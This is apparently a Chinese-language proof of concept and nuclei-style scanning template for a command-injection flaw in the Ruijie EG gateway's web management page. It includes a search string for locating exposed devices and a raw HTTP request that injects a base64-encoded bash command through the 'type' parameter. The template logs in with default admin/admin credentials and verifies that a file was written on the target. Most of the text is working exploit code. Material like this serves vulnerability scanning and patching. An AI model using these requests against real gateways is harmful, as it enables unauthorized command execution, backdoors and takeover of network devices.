锐捷EG易网关存在flwo.control.php命令执行漏洞,攻击者可利用该漏洞执行任意命令,写入后门,获取服务器权限,进而控制整个web服务器。 前提需要登录获取cookie
title="锐捷网络-EWEB网管系统"
POST /flow_control_pi/flwo.control.php?a=flowOpen HTTP/1.1
Host: localhost:4430
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 11
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: user=21232f297a57a5a743894a0e4a801fc3; LOCAL_LANG_COOKIE=zh; UI_LOCAL_COOKIE=zh; sysmode=sys-mode%20gateway; supportMoreLan=no; RUIJIEID=h250c4c46emk9dv2mjmbk5rlc0; user=21232f297a57a5a743894a0e4a801fc3; isRedirect=true; authenType=local; accountType=write; showPatchDialog=true; module=macc; threeModule=seltab
Origin: https:// localhost:4430
Referer: https:// localhost:4430/rac_pi/surfilter_selservice.htm
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: x
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
type=%7Cbash+-c+%27echo+cm0gLXJmIC4uLzEyMzMyMXF3ZS50eHQgJiYgZWNobyBGMDhiYmZiMkJDOGNlZUQ2ID4gLi4vMTIzMzIxcXdlLnR4dCAyPiYx+%7C+base64+-d+%7C+bash+%26%26+exit+0%27
把管理员cookie填进去,然后写入文件
文件路径http://127.0.0.1/123321qwe.txt
http:
- raw:
- |
POST /ddi/server/login.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
username=admin&password=admin?
- |
POST /flow_control_pi/flwo.control.php?a=getFlowGroup HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID={{cookie}};user=admin;
User-Agent: Mozilla/5.0
type=%7Cbash+-c+%27echo+cm0gLXJmIC4uLzEyMzMyMXF3ZS50eHQgJiYgZWNobyBGMDhiYmZiMkJDOGNlZUQ2ID4gLi4vMTIzMzIxcXdlLnR4dCAyPiYx+%7C+base64+-d+%7C+bash+%26%26+exit+0%27
- |
GET /123321qwe.txt HTTP/1.1
Host:
User-Agent: Mozilla/5.0
extractors:
- type: regex
name: cookie
part: header
group: 1
internal: true
regex:
- "RUIJIEID=(.*); path=/"
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code_3==200 && contains(body_3, "F08bbfb2BC8ceeD6") && contains(body_3, "text/plain")'